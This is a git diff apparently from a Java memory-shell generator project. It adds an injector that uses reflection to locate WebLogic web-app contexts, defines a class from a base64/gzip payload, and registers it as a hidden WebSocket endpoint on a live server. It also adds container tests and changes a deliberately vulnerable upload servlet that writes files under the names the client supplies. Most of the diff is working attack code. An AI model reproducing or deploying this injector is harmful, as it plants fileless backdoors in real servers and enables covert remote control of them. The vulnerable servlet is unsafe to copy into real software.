diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicWebSocketInjector.java new file mode 100644 index 00000000..fa35e43c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicWebSocketInjector.java @@ -0,0 +1,267 @@ +package com.reajason.javaweb.memshell.injector.weblogic; + +import javax.management.MBeanServer; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.PrintStream; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class WebLogicWebSocketInjector { + + private static String msg = ""; + private static boolean ok = false; + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public WebLogicWebSocketInjector() { + if (ok) { + return; + } + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts == null || contexts.isEmpty()) { + msg += "context not found"; + } else { + for (Object context : contexts) { + try { + msg += ("context: [" + getContextRoot(context) + "] "); + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + ok = true; + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + /** + * weblogic.servlet.internal.WebAppServletContext + */ + @SuppressWarnings("unchecked") + public static Set getContext() throws Exception { + Set webappContexts = new HashSet(); + MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer(); + Map objectsByObjectName = (Map) getFieldValue(platformMBeanServer, "objectsByObjectName"); + for (Map.Entry entry : objectsByObjectName.entrySet()) { + String key = entry.getKey(); + if (key.contains("Type=WebAppComponentRuntime")) { + Object value = entry.getValue(); + Object managedResource = getFieldValue(value, "managedResource"); + if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) { + webappContexts.add(getFieldValue(managedResource, "context")); + } + } + } + try { + Object workEntry = getFieldValue(Thread.currentThread(), "workEntry"); + Object request = null; + try { + Object connectionHandler = getFieldValue(workEntry, "connectionHandler"); + request = getFieldValue(connectionHandler, "request"); + } catch (Exception x) { + // WebLogic 10.3.6 + request = workEntry; + } + if (request != null) { + webappContexts.add(getFieldValue(request, "context")); + } + } catch (Throwable ignored) { + } + return webappContexts; + } + + public ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "classLoader")); + } + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; + try { + clazz = classLoader.loadClass(getClassName()); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); + } + + @SuppressWarnings("all") + private void inject(Object context, Object obj) throws Exception { + // WebLogic's WebAppServletContext implements javax.servlet.ServletContext directly + Object container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"}); + if (container == null) { + container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"}); + } + if (container == null) { + throw new RuntimeException("container is null"); + } + + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Class serverEndpointConfigClass; + Class builderClass; + try { + serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig"); + builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder"); + } catch (ClassNotFoundException e) { + serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig"); + builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder"); + } + + // Use the standard static factory method — Tyrus (WebLogic) only exposes create(), not a (Class,String) constructor + Object builder = invokeMethod(builderClass, "create", new Class[]{Class.class, String.class}, new Object[]{obj.getClass(), getUrlPattern()}); + Object endpointConfig = invokeMethod(builder, "build", null, null); + + // JSR-356 addEndpoint() throws IllegalStateException once the app is active; Tyrus's own + // register() bypasses this post-deployment lock and works on a live WebLogic server. + invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); + invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); + try { + invokeMethod(container, "register", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig}); + } catch (Exception e) { + invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig}); + } + } + + @Override + public String toString() { + return msg; + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogic.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogic.java index 4ac9ba48..9e6d1757 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogic.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogic.java @@ -4,6 +4,7 @@ import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector; import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector; import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector; import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector; +import com.reajason.javaweb.memshell.injector.weblogic.WebLogicWebSocketInjector; import static com.reajason.javaweb.memshell.ShellType.*; @@ -22,8 +23,13 @@ public class WebLogic extends AbstractServer { public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() .addInjector(LISTENER, WebLogicListenerInjector.class) + .addInjector(JAKARTA_LISTENER, WebLogicListenerInjector.class) .addInjector(FILTER, WebLogicFilterInjector.class) + .addInjector(JAKARTA_FILTER, WebLogicFilterInjector.class) .addInjector(SERVLET, WebLogicServletInjector.class) + .addInjector(JAKARTA_SERVLET, WebLogicServletInjector.class) + .addInjector(WEBSOCKET, WebLogicWebSocketInjector.class) + .addInjector(JAKARTA_WEBSOCKET, WebLogicWebSocketInjector.class) .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class) .build(); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java index e6a74d92..3ee93a02 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java @@ -26,6 +26,7 @@ public class WebLogic12214ContainerTest extends AbstractContainerTest { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.WEBSOCKET, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT )) .testPackers(List.of(Packers.Base64)) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java index 3e101e1c..84df32ee 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java @@ -26,6 +26,7 @@ public class WebLogic14110ContainerTest extends AbstractContainerTest { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.WEBSOCKET, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT )) .testPackers(List.of(Packers.Base64)) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14120ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14120ContainerTest.java index a899a404..07dbe4e8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14120ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14120ContainerTest.java @@ -26,6 +26,7 @@ public class WebLogic14120ContainerTest extends AbstractContainerTest { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.WEBSOCKET, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT )) .testPackers(List.of(Packers.Base64)) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic15110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic15110ContainerTest.java new file mode 100644 index 00000000..febcc1f5 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic15110ContainerTest.java @@ -0,0 +1,56 @@ +package com.reajason.javaweb.integration.memshell.weblogic; + +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +@Testcontainers +public class WebLogic15110ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic( + "reajason/weblogic:15.1.1.0-jdk21", + "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") + .targetJdkVersion(Opcodes.V21) + .warFile(ContainerTool.warJakartaFile) + .jakarta(true) + .supportedShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_WEBSOCKET, + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT + )) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .testPackers(List.of(Packers.Base64)) + .probeShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/vul/vul-webapp-jakarta/build.gradle.kts b/vul/vul-webapp-jakarta/build.gradle.kts index 84223106..6254b4a9 100644 --- a/vul/vul-webapp-jakarta/build.gradle.kts +++ b/vul/vul-webapp-jakarta/build.gradle.kts @@ -14,6 +14,8 @@ dependencies { implementation("commons-fileupload:commons-fileupload:1.5") implementation("commons-beanutils:commons-beanutils:1.9.3") providedCompile("jakarta.servlet:jakarta.servlet-api:5.0.0") + providedCompile("jakarta.websocket:jakarta.websocket-api:2.2.0") + providedCompile(libs.jakarta.websocket.client.api) testImplementation(libs.junit.jupiter) testRuntimeOnly(libs.junit.platform.launcher) } diff --git a/vul/vul-webapp-jakarta/src/main/java/EmptyWebSocketEndpoint.java b/vul/vul-webapp-jakarta/src/main/java/EmptyWebSocketEndpoint.java new file mode 100644 index 00000000..8b541938 --- /dev/null +++ b/vul/vul-webapp-jakarta/src/main/java/EmptyWebSocketEndpoint.java @@ -0,0 +1,42 @@ +import jakarta.websocket.*; +import jakarta.websocket.server.ServerEndpoint; + +import java.io.IOException; +import java.util.logging.Logger; + +@ServerEndpoint("/ws/demo") +public class EmptyWebSocketEndpoint { + + private static final Logger logger = Logger.getLogger(EmptyWebSocketEndpoint.class.getName()); + + @OnOpen + public void onOpen(Session session) { + logger.info("New connection established: " + session.getId()); + try { + // 向客户端发送欢迎消息 + session.getBasicRemote().sendText("Connected successfully! Session ID: " + session.getId()); + } catch (IOException e) { + e.printStackTrace(); + } + } + + @OnMessage + public void onMessage(String message, Session session) { + logger.info("Received message from " + session.getId() + ": " + message); + try { + session.getBasicRemote().sendText("Server Echo: " + message); + } catch (IOException e) { + e.printStackTrace(); + } + } + + @OnClose + public void onClose(Session session, CloseReason closeReason) { + logger.info("Session closed: " + session.getId() + ", Reason: " + closeReason.getReasonPhrase()); + } + + @OnError + public void onError(Session session, Throwable throwable) { + logger.severe("Error on session " + (session != null ? session.getId() : "null") + ": " + throwable.getMessage()); + } +} diff --git a/vul/vul-webapp-jakarta/src/main/java/UploadServlet.java b/vul/vul-webapp-jakarta/src/main/java/UploadServlet.java index b6b12b09..abbcde83 100644 --- a/vul/vul-webapp-jakarta/src/main/java/UploadServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/UploadServlet.java @@ -28,7 +28,19 @@ public class UploadServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Part file = request.getPart("file"); String fileName = getFileName(file); - String uploadPath = getServletContext().getRealPath(UPLOAD_DIRECTORY) + File.separator + fileName; + String uploadFolder = getServletContext().getRealPath(UPLOAD_DIRECTORY); + if (uploadFolder == null) { + // weblogic + File tempDir = (File) getServletContext().getAttribute("jakarta.servlet.context.tempdir"); + if (tempDir == null) { + tempDir = (File) getServletContext().getAttribute("javax.servlet.context.tempdir"); + } + uploadFolder = tempDir.getParent() + File.separator + "war"; + } + if (!uploadFolder.endsWith(File.separator)) { + uploadFolder += File.separator; + } + String uploadPath = uploadFolder + fileName; InputStream inputStream = file.getInputStream(); File uploadFile = new File(uploadPath); IOUtils.copy(inputStream, Files.newOutputStream(uploadFile.toPath())); diff --git a/vul/vul-webapp/build.gradle.kts b/vul/vul-webapp/build.gradle.kts index 9e595985..1822434e 100644 --- a/vul/vul-webapp/build.gradle.kts +++ b/vul/vul-webapp/build.gradle.kts @@ -13,7 +13,7 @@ java { dependencies { implementation("commons-fileupload:commons-fileupload:1.3.3") implementation("commons-beanutils:commons-beanutils:1.9.2") - implementation("javax.websocket:javax.websocket-api:1.1") + providedCompile("javax.websocket:javax.websocket-api:1.1") providedCompile("javax.servlet:servlet-api:2.5") } diff --git a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml index 76390808..d44e5d08 100644 --- a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -1,7 +1,7 @@ + xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" + id="WebApp_ID" version="3.0"> index.html